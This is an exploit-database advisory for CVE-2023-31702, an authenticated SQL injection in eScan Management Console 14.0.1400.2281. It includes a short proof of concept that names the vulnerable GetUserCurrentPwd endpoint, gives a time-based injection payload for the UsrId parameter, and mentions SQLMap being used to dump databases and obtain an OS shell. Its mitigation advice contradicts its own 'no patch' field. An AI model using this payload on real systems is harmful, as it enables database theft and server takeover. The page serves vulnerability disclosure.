eScan Management Console 14.0.1400.2281 - SQL Injection (Authenticated)

vendor:

eScan Management Console

by:

Sahil Ojha

7.2

CVSS

HIGH

SQL Injection

CWE

Product Name: eScan Management Console

Affected Version From: 14.0.1400.2281

Affected Version To: 14.0.1400.2281

Patch Exists: NO

Related CWE: CVE-2023-31702

CPE: ewconsole.dll

Metasploit:

Other Scripts:

Platforms Tested: Windows

2023

eScan Management Console 14.0.1400.2281 – SQL Injection (Authenticated)

Authenticated SQL Injection vulnerability in eScan Management Console version 14.0.1400.2281 allows an attacker to execute arbitrary SQL commands through the 'UsrId' parameter in the GetUserCurrentPwd function, leading to unauthorized access to the database and potential remote code execution.

Mitigation:

Apply the vendor-supplied patch or update to the latest version of eScan Management Console. Ensure that all user-supplied input is properly validated and sanitized to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# Exploit Title: eScan Management Console 14.0.1400.2281 - SQL Injection (Authenticated)
# Date: 16/05/2023
# Exploit Author: Sahil Ojha
# Vendor Homepage: https://www.escanav.com
# Software Link: https://cl.escanav.com/ewconsole.dll
# Version: 14.0.1400.2281
# Tested on: Windows
# CVE : CVE-2023-31702

*Step of Reproduction/Proof of concept(POC)*

1. Login into the escan management console with a valid username and
password as root user.
2. Navigate to URL:
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=4176
3. Inject the payload into the UsrId parameter to confirm the SQL
injection as shown below:
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1;WAITFOR
DELAY '0:0:5'--&cnt=4176
4. The time delay of 5 seconds confirmed that "UsrId" parameter was
vulnerable to SQL Injection. Furthermore, it was also possible to dump
all the databases and inject OS shell directly into the MS SQL Server
using SQLMap tool.